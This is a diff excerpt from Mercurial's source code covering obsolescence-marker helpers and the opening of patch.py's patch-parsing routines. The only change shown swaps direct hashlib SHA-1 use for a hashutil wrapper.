 def listmarkers(repo):
     """List markers over pushkey"""
     if not repo.obsstore:
         return {}
     return _pushkeyescape(sorted(repo.obsstore))
 
 
 def pushmarker(repo, key, old, new):
     """Push markers over pushkey"""
     if not key.startswith(b'dump'):
         repo.ui.warn(_(b'unknown key: %r') % key)
         return False
     if old:
         repo.ui.warn(_(b'unexpected old value for %r') % key)
         return False
     data = util.b85decode(new)
     with repo.lock(), repo.transaction(b'pushkey: obsolete markers') as tr:
         repo.obsstore.mergemarkers(tr, data)
         repo.invalidatevolatilesets()
         return True
 
 
 # mapping of 'set-name' -> <function to compute this set>
 cachefuncs = {}
 
 
 def cachefor(name):
     """Decorator to register a function as computing the cache for a set"""
 
     def decorator(func):
         if name in cachefuncs:
             msg = b"duplicated registration for volatileset '%s' (existing: %r)"
             raise error.ProgrammingError(msg % (name, cachefuncs[name]))
         cachefuncs[name] = func
         return func
 
     return decorator
 
 
 def getrevs(repo, name):
     """Return the set of revision that belong to the <name> set
 
     Such access may compute the set and cache it for future use"""
     repo = repo.unfiltered()
     with util.timedcm('getrevs %s', name):
         if not repo.obsstore:
             return frozenset()
         if name not in repo.obsstore.caches:
             repo.obsstore.caches[name] = cachefuncs[name](repo)
         return repo.obsstore.caches[name]
 
 
 # To be simple we need to invalidate obsolescence cache when:
 #
 # - new changeset is added:
 # - public phase is changed
 # - obsolescence marker are added
 # - strip is used a repo
 def clearobscaches(repo):
     """Remove all obsolescence related cache from a repo
 
     This remove all cache in obsstore is the obsstore already exist on the
     repo.
 
     (We could be smarter here given the exact event that trigger the cache
     clearing)"""
     # only clear cache is there is obsstore data in this repo
     if b'obsstore' in repo._filecache:
         repo.obsstore.caches.clear()
 
 
 def _mutablerevs(repo):
     """the set of mutable revision in the repository"""
     return repo._phasecache.getrevset(repo, phases.mutablephases)
 
 
 @cachefor(b'obsolete')
 def _computeobsoleteset(repo):
     """the set of obsolete revisions"""
     getnode = repo.changelog.node
     notpublic = _mutablerevs(repo)
     isobs = repo.obsstore.successors.__contains__
     obs = set(r for r in notpublic if isobs(getnode(r)))
     return obs
 
 
 @cachefor(b'orphan')
 def _computeorphanset(repo):
     """the set of non obsolete revisions with obsolete parents"""
     pfunc = repo.changelog.parentrevs
     mutable = _mutablerevs(repo)
     obsolete = getrevs(repo, b'obsolete')
     others = mutable - obsolete
     unstable = set()
     for r in sorted(others):
         # A rev is unstable if one of its parent is obsolete or unstable
         # this works since we traverse following growing rev order
         for p in pfunc(r):
             if p in obsolete or p in unstable:
                 unstable.add(r)
                 break
     return unstable
 
 
 @cachefor(b'suspended')
 def _computesuspendedset(repo):
     """the set of obsolete parents with non obsolete descendants"""
     suspended = repo.changelog.ancestors(getrevs(repo, b'orphan'))
     return set(r for r in getrevs(repo, b'obsolete') if r in suspended)
 
 
 @cachefor(b'extinct')
 def _computeextinctset(repo):
     """the set of obsolete parents without non obsolete descendants"""
     return getrevs(repo, b'obsolete') - getrevs(repo, b'suspended')
 
 
 @cachefor(b'phasedivergent')
 def _computephasedivergentset(repo):
     """the set of revs trying to obsolete public revisions"""
     bumped = set()
     # util function (avoid attribute lookup in the loop)
     phase = repo._phasecache.phase  # would be faster to grab the full list
     public = phases.public
     cl = repo.changelog
     torev = cl.index.get_rev
     tonode = cl.node
     obsstore = repo.obsstore
     for rev in repo.revs(b'(not public()) and (not obsolete())'):
         # We only evaluate mutable, non-obsolete revision
         node = tonode(rev)
         # (future) A cache of predecessors may worth if split is very common
         for pnode in obsutil.allpredecessors(
             obsstore, [node], ignoreflags=bumpedfix
         ):
             prev = torev(pnode)  # unfiltered! but so is phasecache
             if (prev is not None) and (phase(repo, prev) <= public):
                 # we have a public predecessor
                 bumped.add(rev)
                 break  # Next draft!
     return bumped
 
 
 @cachefor(b'contentdivergent')
 def _computecontentdivergentset(repo):
     """the set of rev that compete to be the final successors of some revision.
     """
     divergent = set()
     obsstore = repo.obsstore
     newermap = {}
     tonode = repo.changelog.node
     for rev in repo.revs(b'(not public()) - obsolete()'):
         node = tonode(rev)
         mark = obsstore.predecessors.get(node, ())
         toprocess = set(mark)
         seen = set()
         while toprocess:
             prec = toprocess.pop()[0]
             if prec in seen:
                 continue  # emergency cycle hanging prevention
             seen.add(prec)
             if prec not in newermap:
                 obsutil.successorssets(repo, prec, cache=newermap)
             newer = [n for n in newermap[prec] if n]
             if len(newer) > 1:
                 divergent.add(rev)
                 break
             toprocess.update(obsstore.predecessors.get(prec, ()))
     return divergent
 
 
 def makefoldid(relation, user):
 
-    folddigest = hashlib.sha1(user)
+    folddigest = hashutil.sha1(user)
     for p in relation[0] + relation[1]:
         folddigest.update(b'%d' % p.rev())
         folddigest.update(p.node())
     # Since fold only has to compete against fold for the same successors, it
     # seems fine to use a small ID. Smaller ID save space.
     return node.hex(folddigest.digest())[:8]
 
 
 def createmarkers(
     repo, relations, flag=0, date=None, metadata=None, operation=None
 ):
     """Add obsolete markers between changesets in a repo
 
     <relations> must be an iterable of ((<old>,...), (<new>, ...)[,{metadata}])
     tuple. `old` and `news` are changectx. metadata is an optional dictionary
     containing metadata for this marker only. It is merged with the global
     metadata specified through the `metadata` argument of this function.
     Any string values in metadata must be UTF-8 bytes.
 
     Trying to obsolete a public changeset will raise an exception.
 
     Current user and date are used except if specified otherwise in the
     metadata attribute.
 
     This function operates within a transaction of its own, but does
     not take any lock on the repo.
     """
     # prepare metadata
     if metadata is None:
         metadata = {}
     if b'user' not in metadata:
         luser = (
             repo.ui.config(b'devel', b'user.obsmarker') or repo.ui.username()
         )
         metadata[b'user'] = encoding.fromlocal(luser)
 
     # Operation metadata handling
     useoperation = repo.ui.configbool(
         b'experimental', b'evolution.track-operation'
     )
     if useoperation and operation:
         metadata[b'operation'] = operation
 
     # Effect flag metadata handling
     saveeffectflag = repo.ui.configbool(
         b'experimental', b'evolution.effect-flags'
     )
 
     with repo.transaction(b'add-obsolescence-marker') as tr:
         markerargs = []
         for rel in relations:
             predecessors = rel[0]
             if not isinstance(predecessors, tuple):
                 # preserve compat with old API until all caller are migrated
                 predecessors = (predecessors,)
             if len(predecessors) > 1 and len(rel[1]) != 1:
                 msg = b'Fold markers can only have 1 successors, not %d'
                 raise error.ProgrammingError(msg % len(rel[1]))
             foldid = None
             foldsize = len(predecessors)
             if 1 < foldsize:
                 foldid = makefoldid(rel, metadata[b'user'])
             for foldidx, prec in enumerate(predecessors, 1):
                 sucs = rel[1]
                 localmetadata = metadata.copy()
                 if len(rel) > 2:
                     localmetadata.update(rel[2])
                 if foldid is not None:
                     localmetadata[b'fold-id'] = foldid
                     localmetadata[b'fold-idx'] = b'%d' % foldidx
                     localmetadata[b'fold-size'] = b'%d' % foldsize
 
                 if not prec.mutable():
                     raise error.Abort(
                         _(b"cannot obsolete public changeset: %s") % prec,
                         hint=b"see 'hg help phases' for details",
                     )
                 nprec = prec.node()
                 nsucs = tuple(s.node() for s in sucs)
                 npare = None
                 if not nsucs:
                     npare = tuple(p.node() for p in prec.parents())
                 if nprec in nsucs:
                     raise error.Abort(
                         _(b"changeset %s cannot obsolete itself") % prec
                     )
 
                 # Effect flag can be different by relation
                 if saveeffectflag:
                     # The effect flag is saved in a versioned field name for
                     # future evolution
                     effectflag = obsutil.geteffectflag(prec, sucs)
                     localmetadata[obsutil.EFFECTFLAGFIELD] = b"%d" % effectflag
 
                 # Creating the marker causes the hidden cache to become
                 # invalid, which causes recomputation when we ask for
                 # prec.parents() above.  Resulting in n^2 behavior.  So let's
                 # prepare all of the args first, then create the markers.
                 markerargs.append((nprec, nsucs, npare, localmetadata))
 
         for args in markerargs:
             nprec, nsucs, npare, localmetadata = args
             repo.obsstore.create(
                 tr,
                 nprec,
                 nsucs,
                 flag,
                 parents=npare,
                 date=date,
                 metadata=localmetadata,
                 ui=repo.ui,
             )
             repo.filteredrevcache.clear()

mercurial/patch.py

@@ -1,3226 +1,3226
 # patch.py - patch file parsing routines
 #
 # Copyright 2006 Brendan Cully <[e-mail]>
 # Copyright 2007 Chris Mason <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
 from __future__ import absolute_import, print_function
 
 import collections
 import contextlib
 import copy
 import errno
-import hashlib
 import os
 import re
 import shutil
 import zlib
 
 from .i18n import _
 from .node import (
     hex,
     short,
 )
 from .pycompat import open
 from . import (
     copies,
     diffhelper,
     diffutil,
     encoding,
     error,
     mail,
     mdiff,
     pathutil,
     pycompat,
     scmutil,
     similar,
     util,
     vfs as vfsmod,
 )
 from .utils import (
     dateutil,
+    hashutil,
     procutil,
     stringutil,
 )
 
 stringio = util.stringio
 
 gitre = re.compile(br'diff --git a/(.*) b/(.*)')
 tabsplitter = re.compile(br'(\t+|[^\t]+)')
 wordsplitter = re.compile(
     br'(\t+| +|[a-zA-Z0-9_\x80-\xff]+|[^ \ta-zA-Z0-9_\x80-\xff])'
 )
 
 PatchError = error.PatchError
 
 # public functions
 
 
 def split(stream):
     '''return an iterator of individual patches from a stream'''
 
     def isheader(line, inheader):
         if inheader and line.startswith((b' ', b'\t')):
             # continuation
             return True
         if line.startswith((b' ', b'-', b'+')):
             # diff line - don't check for header pattern in there
             return False
         l = line.split(b': ', 1)
         return len(l) == 2 and b' ' not in l[0]
 
     def chunk(lines):
         return stringio(b''.join(lines))
 
     def hgsplit(stream, cur):
         inheader = True
 
         for line in stream:
             if not line.strip():
                 inheader = False
             if not inheader and line.startswith(b'# HG changeset patch'):
                 yield chunk(cur)
                 cur = []
                 inheader = True
 
             cur.append(line)
 
         if cur:
             yield chunk(cur)
 
     def mboxsplit(stream, cur):
         for line in stream:
             if line.startswith(b'From '):
                 for c in split(chunk(cur[1:])):
                     yield c
                 cur = []
 
             cur.append(line)
 
         if cur:
             for c in split(chunk(cur[1:])):
                 yield c
 
     def mimesplit(stream, cur):
         def msgfp(m):
             fp = stringio()
             g = mail.Generator(fp, mangle_from_=False)
             g.flatten(m)
             fp.seek(0)
             return fp
 
         for line in stream:
             cur.append(line)
         c = chunk(cur)
 
         m = mail.parse(c)
         if not m.is_multipart():
             yield msgfp(m)
         else:
             ok_types = (b'text/plain', b'text/x-diff', b'text/x-patch')
             for part in m.walk():
                 ct = part.get_content_type()
                 if ct not in ok_types:
                     continue
                 yield msgfp(part)
 
     def headersplit(stream, cur):
         inheader = False
 
         for line in stream:
             if not inheader and isheader(line, inheader):
                 yield chunk(cur)
                 cur = []
                 inheader = True
             if inheader and not isheader(line, inheader):
                 inheader = False
 
             cur.append(line)
 
         if cur:
             yield chunk(cur)
 
     def remainder(cur):
         yield chunk(cur)
 
     class fiter(object):
         def __init__(self, fp):
             self.fp = fp
 
         def __iter__(self):
             return self
 
         def next(self):
             l = self.fp.readline()
             if not l:
                 raise StopIteration
             return l
 
         __next__ = next
 
     inheader = False
     cur = []
 
     mimeheaders = [b'content-type']
 
     if not util.safehasattr(stream, b'next'):
         # http responses, for example, have readline but not next
         stream = fiter(stream)
 
     for line in stream:
         cur.append(line)
         if line.startswith(b'# HG changeset patch'):
             return hgsplit(stream, cur)
         elif line.startswith(b'From '):
             return mboxsplit(stream, cur)
         elif isheader(line, inheader):
             inheader = True
             if line.split(b':', 1)[0].lower() in mimeheaders:
                 # let email parser handle this
                 return mimesplit(stream, cur)
         elif line.startswith(b'--- ') and inheader:
             # No evil headers seen by diff start, split by hand
             return headersplit(stream, cur)
         # Not enough info, keep reading
 
     # if we are here, we have a very plain patch
     return remainder(cur)
 
 
 ## Some facility for extensible patch parsing:
 # list of pairs ("header to match", "data key")
 patchheadermap = [
     (b'Date', b'date'),
     (b'Branch', b'branch'),
     (b'Node ID', b'nodeid'),
 ]
 
 
 @contextlib.contextmanager
 def extract(ui, fileobj):
     '''extract patch from data read from fileobj.
 
     patch can be a normal patch or contained in an email message.
 
     return a dictionary. Standard keys are:
       - filename,
       - message,
       - user,
       - date,
       - branch,
       - node,
       - p1,
       - p2.
     Any item can be missing from the dictionary. If filename is missing,
     fileobj did not contain a patch. Caller must unlink filename when done.'''
 
     fd, tmpname = pycompat.mkstemp(prefix=b'hg-patch-')
     tmpfp = os.fdopen(fd, 'wb')
     try:
         yield _extract(ui, fileobj, tmpname, tmpfp)
     finally:
         tmpfp.close()
         os.unlink(tmpname)
 
 
 def _extract(ui, fileobj, tmpname, tmpfp):
 
     # attempt to detect the start of a patch
     # (this heuristic is borrowed from quilt)
     diffre = re.compile(
         br'^(?:Index:[ \t]|diff[ \t]-|RCS file: |'
         br'retrieving revision [0-9]+(\.[0-9]+)*$|'
         br'---[ \t].*?^\+\+\+[ \t]|'
         br'\*\*\*[ \t].*?^---[ \t])',
         re.MULTILINE | re.DOTALL,
     )
 
     data = {}
 
     msg = mail.parse(fileobj)
 
     subject = msg['Subject'] and mail.headdecode(msg['Subject'])
     data[b'user'] = msg['From'] and mail.headdecode(msg['From'])
     if not subject and not data[b'user']:
         # Not an email, restore parsed headers if any
         subject = (
             b'\n'.join(
                 b': '.join(map(encoding.strtolocal, h)) for h in msg.items()
             )
             + b'\n'
         )
 
     # should try to parse msg['Date']
     parents = []
 
     nodeid = msg['X-Mercurial-Node']
     if nodeid:
         data[b'nodeid'] = nodeid = mail.headdecode(nodeid)
         ui.debug(b'Node ID: %s\n' % nodeid)
 
     if subject:
         if subject.startswith(b'[PATCH'):
             pend = subject.find(b']')
             if pend >= 0:
                 subject = subject[pend + 1 :].lstrip()
         subject = re.sub(br'\n[ \t]+', b' ', subject)
         ui.debug(b'Subject: %s\n' % subject)
     if data[b'user']:
         ui.debug(b'From: %s\n' % data[b'user'])
     diffs_seen = 0
     ok_types = (b'text/plain', b'text/x-diff', b'text/x-patch')
     message = b''
     for part in msg.walk():
         content_type = pycompat.bytestr(part.get_content_type())
         ui.debug(b'Content-Type: %s\n' % content_type)
         if content_type not in ok_types:
             continue
         payload = part.get_payload(decode=True)
         m = diffre.search(payload)
         if m:
             hgpatch = False
             hgpatchheader = False
             ignoretext = False
 
             ui.debug(b'found patch at byte %d\n' % m.start(0))
             diffs_seen += 1
             cfp = stringio()
             for line in payload[: m.start(0)].splitlines():
                 if line.startswith(b'# HG changeset patch') and not hgpatch:
                     ui.debug(b'patch generated by hg export\n')
                     hgpatch = True
                     hgpatchheader = True
                     # drop earlier commit message content
                     cfp.seek(0)
                     cfp.truncate()
                     subject = None
                 elif hgpatchheader:
                     if line.startswith(b'# User '):
                         data[b'user'] = line[7:]
                         ui.debug(b'From: %s\n' % data[b'user'])
                     elif line.startswith(b"# Parent "):
                         parents.append(line[9:].lstrip())
                     elif line.startswith(b"# "):
                         for header, key in patchheadermap:
                             prefix = b'# %s ' % header
                             if line.startswith(prefix):
                                 data[key] = line[len(prefix) :]
                                 ui.debug(b'%s: %s\n' % (header, data[key]))
                     else:
                         hgpatchheader = False
                 elif line == b'---':
                     ignoretext = True
                 if not hgpatchheader and not ignoretext:
                     cfp.write(line)
                     cfp.write(b'\n')
             message = cfp.getvalue()
             if tmpfp:
                 tmpfp.write(payload)
                 if not payload.endswith(b'\n'):
                     tmpfp.write(b'\n')
         elif not diffs_seen and message and content_type == b'text/plain':
             message += b'\n' + payload
 
     if subject and not message.startswith(subject):
         message = b'%s\n%s' % (subject, message)
     data[b'message'] = message
     tmpfp.close()
     if parents:
         data[b'p1'] = parents.pop(0)
         if parents:
             data[b'p2'] = parents.pop(0)
 
     if diffs_seen:
         data[b'filename'] = tmpname
 
     return data
 
 
 class patchmeta(object):
     """Patched file metadata
 
     'op' is the performed operation within ADD, DELETE, RENAME, MODIFY
     or COPY.  'path' is patched file path. 'oldpath' is set to the
     origin file when 'op' is either COPY or RENAME, None otherwise. If
     file mode is changed, 'mode' is a tuple (islink, isexec) where
     'islink' is True if the file is a symlink and 'isexec' is True if
     the file is executable. Otherwise, 'mode' is None.
     """
 
     def __init__(self, path):
         self.path = path
         self.oldpath = None
         self.mode = None
         self.op = b'MODIFY'
         self.binary = False
 
     def setmode(self, mode):
         islink = mode & 0o20000
         isexec = mode & 0o100
         self.mode = (islink, isexec)
 
     def copy(self):
         other = patchmeta(self.path)
         other.oldpath = self.oldpath
         other.mode = self.mode
         other.op = self.op
         other.binary = self.binary
         return other
 
     def _ispatchinga(self, afile):
         if afile == b'/dev/null':
             return self.op == b'ADD'
         return afile == b'a/' + (self.oldpath or self.path)
 
     def _ispatchingb(self, bfile):
         if bfile == b'/dev/null':
             return self.op == b'DELETE'
         return bfile == b'b/' + self.path
 
     def ispatching(self, afile, bfile):
         return self._ispatchinga(afile) and self._ispatchingb(bfile)
 
     def __repr__(self):
         return "<patchmeta %s %r>" % (self.op, self.path)
 
 
 def readgitpatch(lr):
     """extract git-style metadata about patches from <patchname>"""
 
     # Filter patch for git information
     gp = None
     gitpatches = []
     for line in lr:
         line = line.rstrip(b' \r\n')
         if line.startswith(b'diff --git a/'):
             m = gitre.match(line)
             if m:
                 if gp:
                     gitpatches.append(gp)
                 dst = m.group(2)
                 gp = patchmeta(dst)
         elif gp:
             if line.startswith(b'--- '):
                 gitpatches.append(gp)
                 gp = None
                 continue
             if line.startswith(b'rename from '):
                 gp.op = b'RENAME'
                 gp.oldpath = line[12:]
             elif line.startswith(b'rename to '):
                 gp.path = line[10:]
             elif line.startswith(b'copy from '):
                 gp.op = b'COPY'
                 gp.oldpath = line[10:]
             elif line.startswith(b'copy to '):
                 gp.path = line[8:]
             elif line.startswith(b'deleted file'):
                 gp.op = b'DELETE'
             elif line.startswith(b'new file mode '):
                 gp.op = b'ADD'
                 gp.setmode(int(line[-6:], 8))
             elif line.startswith(b'new mode '):
                 gp.setmode(int(line[-6:], 8))
             elif line.startswith(b'GIT binary patch'):
                 gp.binary = True
     if gp:
         gitpatches.append(gp)
 
     return gitpatches
 
 
 class linereader(object):
     # simple class to allow pushing lines back into the input stream
     def __init__(self, fp):
         self.fp = fp
         self.buf = []
 
     def push(self, line):
         if line is not None:
             self.buf.append(line)
 
     def readline(self):
         if self.buf:
             l = self.buf[0]
             del self.buf[0]
             return l
         return self.fp.readline()
 
     def __iter__(self):
         return iter(self.readline, b'')
 
 
 class abstractbackend(object):
     def __init__(self, ui):
         self.ui = ui
 
     def getfile(self, fname):
         """Return target file data and flags as a (data, (islink,
         isexec)) tuple. Data is None if file is missing/deleted.
         """
         raise NotImplementedError
 
     def setfile(self, fname, data, mode, copysource):
         """Write data to target file fname and set its mode. mode is a
         (islink, isexec) tuple. If data is None, the file content should
         be left unchanged. If the file is modified after being copied,
         copysource is set to the original file name.
         """
         raise NotImplementedError
 
     def unlink(self, fname):
         """Unlink target file."""
         raise NotImplementedError
 
     def writerej(self, fname, failed, total, lines):
         """Write rejected lines for fname. total is the number of hunks
         which failed to apply and total the total number of hunks for this
         files.
         """
 
     def exists(self, fname):
         raise NotImplementedError
 
     def close(self):
         raise NotImplementedError
 
 
 class fsbackend(abstractbackend):
     def __init__(self, ui, basedir):
         super(fsbackend, self).__init__(ui)
         self.opener = vfsmod.vfs(basedir)
 
     def getfile(self, fname):
         if self.opener.islink(fname):
             return (self.opener.readlink(fname), (True, False))
 
         isexec = False
         try:
             isexec = self.opener.lstat(fname).st_mode & 0o100 != 0
         except OSError as e:
             if e.errno != errno.ENOENT:
                 raise
         try:
             return (self.opener.read(fname), (False, isexec))
         except IOError as e:
             if e.errno != errno.ENOENT:
                 raise
             return None, None
 
     def setfile(self, fname, data, mode, copysource):
         islink, isexec = mode
         if data is None:
             self.opener.setflags(fname, islink, isexec)
             return
         if islink:
             self.opener.symlink(data, fname)
         else:
             self.opener.write(fname, data)
             if isexec:
                 self.opener.setflags(fname, False, True)
 
     def unlink(self, fname):
         rmdir = self.ui.configbool(b'experimental', b'removeemptydirs')
         self.opener.unlinkpath(fname, ignoremissing=True, rmdir=rmdir)
 
     def writerej(self, fname, failed, total, lines):
         fname = fname + b".rej"
         self.ui.warn(
             _(b"%d out of %d hunks FAILED -- saving rejects to file %s\n")
             % (failed, total, fname)
         )
         fp = self.opener(fname, b'w')
         fp.writelines(lines)
         fp.close()
 
     def exists(self, fname):
         return self.opener.lexists(fname)
 
 
 class workingbackend(fsbackend):
     def __init__(self, ui, repo, similarity):
         super(workingbackend, self).__init__(ui, repo.root)
         self.repo = repo
         self.similarity = similarity
         self.removed = set()
         self.changed = set()
         self.copied = []
 
     def _checkknown(self, fname):
         if self.repo.dirstate[fname] == b'?' and self.exists(fname):
             raise PatchError(_(b'cannot patch %s: file is not tracked') % fname)
 
     def setfile(self, fname, data, mode, copysource):
         self._checkknown(fname)
         super(workingbackend, self).setfile(fname, data, mode, copysource)
         if copysource is not None:
             self.copied.append((copysource, fname))
         self.changed.add(fname)
 
     def unlink(self, fname):
         self._checkknown(fname)
         super(workingbackend, self).unlink(fname)
         self.removed.add(fname)
         self.changed.add(fname)
 
     def close(self):
         wctx = self.repo[None]
         changed = set(self.changed)
         for src, dst in self.copied:
             scmutil.dirstatecopy(self.ui, self.repo, wctx, src, dst)
         if self.removed:
             wctx.forget(sorted(self.removed))
             for f in self.removed:
                 if f not in self.repo.dirstate:
                     # File was deleted and no longer belongs to the
                     # dirstate, it was probably marked added then
                     # deleted, and should not be considered by
                     # marktouched().
                     changed.discard(f)
         if changed:
             scmutil.marktouched(self.repo, changed, self.similarity)
         return sorted(self.changed)
 
 
 class filestore(object):
     def __init__(self, maxsize=None):
         self.opener = None
         self.files = {}
         self.created = 0
         self.maxsize = maxsize
         if self.maxsize is None:
             self.maxsize = 4 * (2 ** 20)
         self.size = 0
         self.data = {}
 
     def setfile(self, fname, data, mode, copied=None):
         if self.maxsize < 0 or (len(data) + self.size) <= self.maxsize:
             self.data[fname] = (data, mode, copied)
             self.size += len(data)
         else:
             if self.opener is None:
                 root = pycompat.mkdtemp(prefix=b'hg-patch-')
                 self.opener = vfsmod.vfs(root)
             # Avoid filename issues with these simple names
             fn = b'%d' % self.created
             self.opener.write(fn, data)
             self.created += 1
             self.files[fname] = (fn, mode, copied)
 
     def getfile(self, fname):
         if fname in self.data:
             return self.data[fname]
         if not self.opener or fname not in self.files:
             return None, None, None
         fn, mode, copied = self.files[fname]
         return self.opener.read(fn), mode, copied
 
     def close(self):
         if self.opener:
             shutil.rmtree(self.opener.base)
 
 
 class repobackend(abstractbackend):
     def __init__(self, ui, repo, ctx, store):
         super(repobackend, self).__init__(ui)
         self.repo = repo
         self.ctx = ctx
         self.store = store
         self.changed = set()
         self.removed = set()
         self.copied = {}
 
     def _checkknown(self, fname):
         if fname not in self.ctx:
             raise PatchError(_(b'cannot patch %s: file is not tracked') % fname)
 
     def getfile(self, fname):
         try:
             fctx = self.ctx[fname]
         except error.LookupError:
             return None, None
         flags = fctx.flags()
         return fctx.data(), (b'l' in flags, b'x' in flags)
 
     def setfile(self, fname, data, mode, copysource):
         if copysource:
             self._checkknown(copysource)
         if data is None:
             data = self.ctx[fname].data()
         self.store.setfile(fname, data, mode, copysource)
         self.changed.add(fname)
         if copysource:
             self.copied[fname] = copysource
 
     def unlink(self, fname):
         self._checkknown(fname)
         self.removed.add(fname)
 
     def exists(self, fname):
         return fname in self.ctx
 
     def close(self):
         return self.changed | self.removed
 
 
 # @@ -start,len +start,len @@ or @@ -start +start @@ if len is 1
 unidesc = re.compile(br'@@ -(\d+)(?:,(\d+))? \+(\d+)(?:,(\d+))? @@')
 contextdesc = re.compile(br'(?:---|\*\*\*) (\d+)(?:,(\d+))? (?:---|\*\*\*)')
 eolmodes = [b'strict', b'crlf', b'lf', b'auto']
 
 
 class patchfile(object):
     def __init__(self, ui, gp, backend, store, eolmode=b'strict'):
         self.fname = gp.path
         self.eolmode = eolmode
         self.eol = None
         self.backend = backend
         self.ui = ui
         self.lines = []
         self.exists = False
         self.missing = True
         self.mode = gp.mode
         self.copysource = gp.oldpath
         self.create = gp.op in (b'ADD', b'COPY', b'RENAME')
         self.remove = gp.op == b'DELETE'
         if self.copysource is None:
             data, mode = backend.getfile(self.fname)
         else:
             data, mode = store.getfile(self.copysource)[:2]
         if data is not None:
             self.exists = self.copysource is None or backend.exists(self.fname)
             self.missing = False
             if data:
                 self.lines = mdiff.splitnewlines(data)
             if self.mode is None:
                 self.mode = mode
             if self.lines:
                 # Normalize line endings
                 if self.lines[0].endswith(b'\r\n'):
                     self.eol = b'\r\n'
                 elif self.lines[0].endswith(b'\n'):
                     self.eol = b'\n'
                 if eolmode != b'strict':
                     nlines = []
                     for l in self.lines:
                         if l.endswith(b'\r\n'):
                             l = l[:-2] + b'\n'
                         nlines.append(l)
                     self.lines = nlines
         else:
             if self.create:
                 self.missing = False
             if self.mode is None:
                 self.mode = (False, False)
         if self.missing:
             self.ui.warn(_(b"unable to find '%s' for patching\n") % self.fname)
             self.ui.warn(
                 _(
                     b"(use '--prefix' to apply patch relative to the "
                     b"current directory)\n"
                 )
             )
 
         self.hash = {}
         self.dirty = 0
         self.offset = 0
         self.skew = 0
         self.rej = []
         self.fileprinted = False
         self.printfile(False)
         self.hunks = 0
 
     def writelines(self, fname, lines, mode):
         if self.eolmode == b'auto':
             eol = self.eol
         elif self.eolmode == b'crlf':
             eol = b'\r\n'
         else:
             eol = b'\n'
 
         if self.eolmode != b'strict' and eol and eol != b'\n':
             rawlines = []
             for l in lines:
                 if l and l.endswith(b'\n'):
                     l = l[:-1] + eol
                 rawlines.append(l)
             lines = rawlines
 
         self.backend.setfile(fname, b''.join(lines), mode, self.copysource)
 
     def printfile(self, warn):
         if self.fileprinted:
             return
         if warn or self.ui.verbose:
             self.fileprinted = True
         s = _(b"patching file %s\n") % self.fname
         if warn:
             self.ui.warn(s)
         else:
             self.ui.note(s)
 
     def findlines(self, l, linenum):
         # looks through the hash and finds candidate lines.  The
         # result is a list of line numbers sorted based on distance
         # from linenum
 
         cand = self.hash.get(l, [])
         if len(cand) > 1:
             # resort our list of potentials forward then back.
             cand.sort(key=lambda x: abs(x - linenum))
         return cand
 
     def write_rej(self):
         # our rejects are a little different from patch(1).  This always
         # creates rejects in the same form as the original patch.  A file
         # header is inserted so that you can run the reject through patch again
         # without having to type the filename.
         if not self.rej:
             return
         base = os.path.basename(self.fname)
         lines = [b"--- %s\n+++ %s\n" % (base, base)]
         for x in self.rej:
             for l in x.hunk:
                 lines.append(l)
                 if l[-1:] != b'\n':
                     lines.append(b"\n\\ No newline at end of file\n")
         self.backend.writerej(self.fname, len(self.rej), self.hunks, lines)
 
     def apply(self, h):
         if not h.complete():
             raise PatchError(
                 _(b"bad hunk #%d %s (%d %d %d %d)")
                 % (h.number, h.desc, len(h.a), h.lena, len(h.b), h.lenb)
             )
 
         self.hunks += 1
 
         if self.missing:
             self.rej.append(h)
             return -1
 
         if self.exists and self.create:
             if self.copysource:
                 self.ui.warn(
                     _(b"cannot create %s: destination already exists\n")
                     % self.fname
                 )
             else:
                 self.ui.warn(_(b"file %s already exists\n") % self.fname)
             self.rej.append(h)
             return -1
 
         if isinstance(h, binhunk):
             if self.remove:
                 self.backend.unlink(self.fname)
             else:
                 l = h.new(self.lines)
                 self.lines[:] = l
                 self.offset += len(l)
                 self.dirty = True
             return 0
 
         horig = h
         if (
             self.eolmode in (b'crlf', b'lf')
             or self.eolmode == b'auto'
             and self.eol
         ):
             # If new eols are going to be normalized, then normalize
             # hunk data before patching. Otherwise, preserve input
             # line-endings.
             h = h.getnormalized()
 
         # fast case first, no offsets, no fuzz
         old, oldstart, new, newstart = h.fuzzit(0, False)
         oldstart += self.offset
         orig_start = oldstart
         # if there's skew we want to emit the "(offset %d lines)" even
         # when the hunk cleanly applies at start + skew, so skip the
         # fast case code
         if self.skew == 0 and diffhelper.testhunk(old, self.lines, oldstart):
             if self.remove:
                 self.backend.unlink(self.fname)
             else:
                 self.lines[oldstart : oldstart + len(old)] = new
                 self.offset += len(new) - len(old)
                 self.dirty = True
             return 0
 
         # ok, we couldn't match the hunk. Lets look for offsets and fuzz it
         self.hash = {}
         for x, s in enumerate(self.lines):
             self.hash.setdefault(s, []).append(x)
 
         for fuzzlen in pycompat.xrange(
             self.ui.configint(b"patch", b"fuzz") + 1
         ):
             for toponly in [True, False]:
                 old, oldstart, new, newstart = h.fuzzit(fuzzlen, toponly)
                 oldstart = oldstart + self.offset + self.skew
                 oldstart = min(oldstart, len(self.lines))
                 if old:
                     cand = self.findlines(old[0][1:], oldstart)
                 else:
                     # Only adding lines with no or fuzzed context, just
                     # take the skew in account
                     cand = [oldstart]
 
                 for l in cand:
                     if not old or diffhelper.testhunk(old, self.lines, l):
                         self.lines[l : l + len(old)] = new
                         self.offset += len(new) - len(old)
                         self.skew = l - orig_start
                         self.dirty = True
                         offset = l - orig_start - fuzzlen
                         if fuzzlen:
                             msg = _(
                                 b"Hunk #%d succeeded at %d "
                                 b"with fuzz %d "
                                 b"(offset %d lines).\n"
                             )
                             self.printfile(True)
                             self.ui.warn(
                                 msg % (h.number, l + 1, fuzzlen, offset)
                             )
                         else:
                             msg = _(
                                 b"Hunk #%d succeeded at %d "
                                 b"(offset %d lines).\n"
                             )
                             self.ui.note(msg % (h.number, l + 1, offset))
                         return fuzzlen
         self.printfile(True)
         self.ui.warn(_(b"Hunk #%d FAILED at %d\n") % (h.number, orig_start))
         self.rej.append(horig)
         return -1
 
     def close(self):
         if self.dirty:
             self.writelines(self.fname, self.lines, self.mode)
         self.write_rej()
         return len(self.rej)
 
 
 class header(object):
     """patch header
     """
 
     diffgit_re = re.compile(b'diff --git a/(.*) b/(.*)$')
     diff_re = re.compile(b'diff -r .* (.*)$')
     allhunks_re = re.compile(b'(?:index|deleted file) ')
     pretty_re = re.compile(b'(?:new file|deleted file) ')
     special_re = re.compile(b'(?:index|deleted|copy|rename|new mode) ')
     newfile_re = re.compile(b'(?:new file|copy to|rename to)')
 
     def __init__(self, header):
         self.header = header
         self.hunks = []
 
     def binary(self):
